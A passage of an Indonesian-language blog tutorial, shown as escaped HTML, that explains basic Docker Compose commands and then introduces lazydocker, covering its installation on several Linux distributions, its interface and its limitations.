&lt;/span&gt;&lt;span&gt;href&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;https://cdn.jsdelivr.net/gh/kognise/water.css@latest/dist/dark.min.css&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;head&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;body&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt;&amp;gt;This is a Docker Compose Demo Page.&amp;lt;/&lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;&amp;gt;This content is being served by an Nginx container.&amp;lt;/&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;body&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah perintah-perintah penting di Docker Compose:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-10&quot;&gt;10&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;section&gt;&lt;h4&gt;docker compose up&lt;a href=&quot;#docker-compose-up&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Menjalankan container dari sebuah file konfigurasi:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;up&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Jika ingin berjalan di &lt;em&gt;background&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;up&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker compose up&quot; loading=&quot;lazy&quot; width=&quot;915&quot; height=&quot;572&quot; src=&quot;/_astro/ss27.B2d_OyFb_VoqNp.webp&quot; /&gt;&lt;figcaption&gt;docker compose up&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berjalan dengan baik di port 8000:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Docker Compose: nginx on port 8000&quot; loading=&quot;lazy&quot; width=&quot;891&quot; height=&quot;318&quot; src=&quot;/_astro/ss31.B9YU2D8Z_ZaOzD8.webp&quot; /&gt;&lt;figcaption&gt;Docker Compose: nginx on port 8000&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker compose down&lt;a href=&quot;#docker-compose-down&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk menghentikan kontainer yang sedang berjalan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;down&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker compose down&quot; loading=&quot;lazy&quot; width=&quot;1211&quot; height=&quot;657&quot; src=&quot;/_astro/ss28.0kaBQmkm_1T3mlV.webp&quot; /&gt;&lt;figcaption&gt;docker compose down&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker compose ps&lt;a href=&quot;#docker-compose-ps&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Melihat proses yang sedang berjalan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ps&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker compose ps&quot; loading=&quot;lazy&quot; width=&quot;919&quot; height=&quot;570&quot; src=&quot;/_astro/ss29.CxmP6KPG_1SSAAX.webp&quot; /&gt;&lt;figcaption&gt;docker compose ps&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker compose logs&lt;a href=&quot;#docker-compose-logs&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Melihat log:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;logs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker compose logs&quot; loading=&quot;lazy&quot; width=&quot;917&quot; height=&quot;571&quot; src=&quot;/_astro/ss30.g3s4gMf1_275OIm.webp&quot; /&gt;&lt;figcaption&gt;docker compose logs&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Sampai artikel ini ditulis, perintah-perintah Docker Compose di atas hanya dapat berjalan di direktori yang terdapat file konfigurasinya. Artinya, jika file konfigurasi (&lt;code&gt;docker-compose.yml&lt;/code&gt;)-nya ada di direktori atau folder &lt;code&gt;~/Documents&lt;/code&gt; misalnya, sementara kalian menjalankan perintah-perintah Docker Compose tersebut di direktori lain seperti &lt;code&gt;~/Downloads&lt;/code&gt;, maka akan muncul &lt;em&gt;error&lt;/em&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker compose help&lt;a href=&quot;#docker-compose-help&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Masih banyak perintah-perintah Docker Compose lainnya yang tidak di-&lt;em&gt;cover&lt;/em&gt; di artikel ini. Tapi, kalian dapat mengeksplorasinya sendiri di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-h&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Lazydocker&lt;a href=&quot;#lazydocker&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pernah mendengar &lt;code&gt;lazygit&lt;/code&gt;?&lt;br /&gt;
Saya pernah menulis tentang &lt;code&gt;lazygit&lt;/code&gt; di website ini lho:&lt;/p&gt;&lt;p&gt;{{&amp;lt; article link=“/tech/git/” showSummary=true compactSummary=true &amp;gt;}}&lt;/p&gt;&lt;section&gt;&lt;h3&gt;At A Glance&lt;a href=&quot;#at-a-glance-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Mirip seperti &lt;code&gt;lazygit&lt;/code&gt;, &lt;code&gt;lazydocker&lt;/code&gt; adalah program terpisah (&lt;em&gt;non-official&lt;/em&gt;) berbasis CLI yang dibuat untuk “para pemalas” yang enggan mengetikkan perintah-perintah &lt;strong&gt;Docker&lt;/strong&gt; dan &lt;strong&gt;Docker Compose&lt;/strong&gt; di terminal. Program ini juga merupakan tool &lt;em&gt;open source&lt;/em&gt; yang juga dibuat oleh orang yang sama yang membuat &lt;code&gt;lazygit&lt;/code&gt;. Dengan adanya &lt;code&gt;lazydocker&lt;/code&gt;, kita dapat memantau &lt;em&gt;container&lt;/em&gt; kita hanya dengan satu &lt;em&gt;interface&lt;/em&gt; sederhana ini.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Installation&lt;a href=&quot;#installation-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;lazydocker&lt;/code&gt; di beberapa sistem operasi Linux:&lt;/p&gt;
















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy lazydocker&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install lazydocker&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;lazydocker&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lazydocker&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Karena distro &lt;strong&gt;Debian/Ubuntu&lt;/strong&gt; dan &lt;strong&gt;Fedora&lt;/strong&gt; tidak menyediakan &lt;code&gt;lazydocker&lt;/code&gt; di repository-nya, jadi, kalian yang menggunakan distro tersebut dapat mengambil &lt;em&gt;binary&lt;/em&gt;-nya atau meng-&lt;em&gt;compile&lt;/em&gt;-nya langsung dari repository Github &lt;code&gt;lazydocker&lt;/code&gt; di sini:&lt;/p&gt;&lt;a href=&quot;https://github.com/jesseduffield/lazydocker&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;jesseduffield&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;lazydocker&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Website official &lt;code&gt;lazydocker&lt;/code&gt;: &lt;a href=&quot;https://lazydocker.com/&quot; target=&quot;_blank&quot;&gt;https://lazydocker.com/&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;code&gt;lazydocker&lt;/code&gt; UI&lt;a href=&quot;#lazydocker-ui&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah tampilan (UI / &lt;em&gt;User Interface&lt;/em&gt;) &lt;code&gt;lazydocker&lt;/code&gt; ketika pertama kali dijalankan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lazydocker&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;lazydocker UI&quot; loading=&quot;lazy&quot; width=&quot;946&quot; height=&quot;600&quot; src=&quot;/_astro/ss33.lTUofRIp_1DFsiV.webp&quot; /&gt;&lt;figcaption&gt;lazydocker UI&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Perhatikan 3 bagian yang saya &lt;em&gt;highlight&lt;/em&gt; tersebut: ada 2 window utama, yaitu window di sebelah kiri dan di sebelah kanan, ditambah satu bagian &lt;em&gt;keybinding&lt;/em&gt; (&lt;em&gt;shortcut&lt;/em&gt;) di bagian bawah.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Window Kiri&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Window di bagian kiri menunjukkan informasi terkait 6 hal:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Project:&lt;/strong&gt; Berisi informasi tentang “Docker Project” yang ada di komputer kita, baik &lt;em&gt;project&lt;/em&gt; yang diambil dari Docker Registry (seperti dockerhub) maupun dari Docker Compose.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Services:&lt;/strong&gt; Berisi informasi tentang Services yang ada di komputer kita, berikut statusnya (&lt;em&gt;running&lt;/em&gt; / &lt;em&gt;exited&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Containers:&lt;/strong&gt; Berisi informasi tentang Container yang ada di komputer kita, berikut statusnya (&lt;em&gt;running&lt;/em&gt; / &lt;em&gt;exited&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Images:&lt;/strong&gt; Berisi informasi tentang Images yang ada di komputer kita, berikut dengan Tag-nya.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Volumes:&lt;/strong&gt; Berisi informasi tentang Volumes yang ada di komputer kita (lokasinya di &lt;code&gt;/var/lib/docker/volumes&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Networks:&lt;/strong&gt; Berisi informasi tentang Networks yang ada di komputer kita.&lt;/li&gt;
&lt;/ul&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Windows Kanan&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Window di bagian kanan menunjukkan informasi detail dari objek yang kita lihat di Window Kiri. Kita bisa melihat ada beberapa sub-menu-nya juga, dan sub-menu ini berbeda-beda tergantung bagian mana dari 6 bagian yang ada di Window Kiri yang sedang kita buka. Untuk berpindah sub-menu, kita bisa gunakan &lt;em&gt;keybinding&lt;/em&gt; (&lt;em&gt;shortcut&lt;/em&gt;): &lt;strong&gt;&lt;code&gt;[&lt;/code&gt;&lt;/strong&gt; untuk ke kiri, dan &lt;strong&gt;&lt;code&gt;]&lt;/code&gt;&lt;/strong&gt; untuk ke kanan.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Keybind di Bawah&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Bagian ini menunjukkan informasi praktis tentang cara mengoperasikan &lt;code&gt;lazydocker&lt;/code&gt; ini, mulai dari cara melakukan &lt;em&gt;scrolling&lt;/em&gt;, keluar dari &lt;code&gt;lazydocker&lt;/code&gt;, melihat menu atau daftar &lt;em&gt;keybinding&lt;/em&gt; yang tersedia, dan bernavigasi dari satu Window ke Window lainnya.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Pro Tip:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Kita juga bisa menekan tombol &lt;code&gt;Shift+?&lt;/code&gt; di keyboard untuk melihat daftar &lt;em&gt;keybinding&lt;/em&gt; (&lt;em&gt;shortcut&lt;/em&gt;) yang tersedia dan dapat digunakan.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;How to use&lt;a href=&quot;#how-to-use&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;docker ps, docker logs, docker stats, docker inspect&lt;a href=&quot;#docker-ps-docker-logs-docker-stats-docker-inspect&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Keempat perintah tersebut (&lt;code&gt;docker ps&lt;/code&gt;, &lt;code&gt;docker logs&lt;/code&gt;, &lt;code&gt;docker stats&lt;/code&gt;, &lt;code&gt;docker inspect&lt;/code&gt;) saya gabung karena memang kita dapat melakukannya dengan (sangat) mudah di &lt;code&gt;lazydocker&lt;/code&gt; hanya dengan bernavigasi dari satu Window ke Window lainnya, dari satu sub-menu ke sub-menu lainnya. Semua itu dapat saya lakukan hanya dengan 6 buah tombol di keyboard: &lt;em&gt;arrow up, arrow down, arrow right, arrow left, opening square bracket, closing square bracket&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Perhatikan&lt;/strong&gt; tombol keyboard yang muncul di bagian bawah video!&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Saya menggunakan &lt;code&gt;showmethekey&lt;/code&gt; untuk melihat &lt;em&gt;keystrokes&lt;/em&gt; keyboard di Wayland.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker run, docker start, docker restart, docker stop&lt;a href=&quot;#docker-run-docker-start-docker-restart-docker-stop&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Lagi-lagi, keempat perintah tersebut (&lt;code&gt;docker run&lt;/code&gt;, &lt;code&gt;docker start&lt;/code&gt;, &lt;code&gt;docker restart&lt;/code&gt;, &lt;code&gt;docker stop&lt;/code&gt;) akan saya tunjukkan dalam satu demonstrasi berikut. Sebab, memang akan sangat mudah menjalankan, menghentikan, maupaun menjalankan ulang sebuah container melalui &lt;code&gt;lazydocker&lt;/code&gt; ini. Semua itu dapat saya lakukan hanya dengan menekan tombol capital S, s, dan r.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Perhatikan&lt;/strong&gt; tombol keyboard yang muncul di bagian bawah video!&lt;/p&gt;&lt;p&gt;Untuk bagian &lt;strong&gt;Images&lt;/strong&gt;, &lt;strong&gt;Volumes&lt;/strong&gt;, dan &lt;strong&gt;Networks&lt;/strong&gt; tidak saya bahas di sini, selain karena tidak banyak yang dapat ditunjukkan selain menghapus-hapus Images/Volumes/Networks, juga karena membuat video demonstrasi ini memakan storage yang lumayan besar (1 video berkisar 1 menit bisa berukuran 3-4 MB!). Oleh karena itu, jika kalian sudah paham dasar-dasar pengoperasian &lt;code&gt;lazydocker&lt;/code&gt;, kalian bisa mencoba mengeksplorasi bagian-bagian tersebut sendiri!&lt;/p&gt;&lt;p&gt;Oiya, beberapa kekurangan &lt;code&gt;lazydocker&lt;/code&gt; yang saya jumpai, terutama terkait dengan perintah-peritah dasar Docker, rupanya, ada beberapa perintah dasar Docker yang belum bisa dilakukan di &lt;code&gt;lazydocker&lt;/code&gt;, misalnya seperti:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;men-&lt;em&gt;download&lt;/em&gt; image: &lt;code&gt;docker pull&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;login ke Docker Registry: &lt;code&gt;docker login&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;membuat volumes &amp;amp; networks: &lt;code&gt;docker volume create&lt;/code&gt; &amp;amp; &lt;code&gt;docker network create&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Sehingga, kita masih memerlukan perintah-perintah manual Docker untuk melakukan operasi tersebut.&lt;/p&gt;&lt;p&gt;Sekian dulu totorial &lt;code&gt;docker&lt;/code&gt; dan &lt;code&gt;lazydocker&lt;/code&gt; ini.&lt;br /&gt;
Terima kasih.
Sampai jumpa di artikel saya yang lain!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.dicoding.com/blog/apa-itu-docker/&quot; target=&quot;_blank&quot;&gt;https://www.dicoding.com/blog/apa-itu-docker/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/get-started/docker-overview/&quot; target=&quot;_blank&quot;&gt;https://docs.docker.com/get-started/docker-overview/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
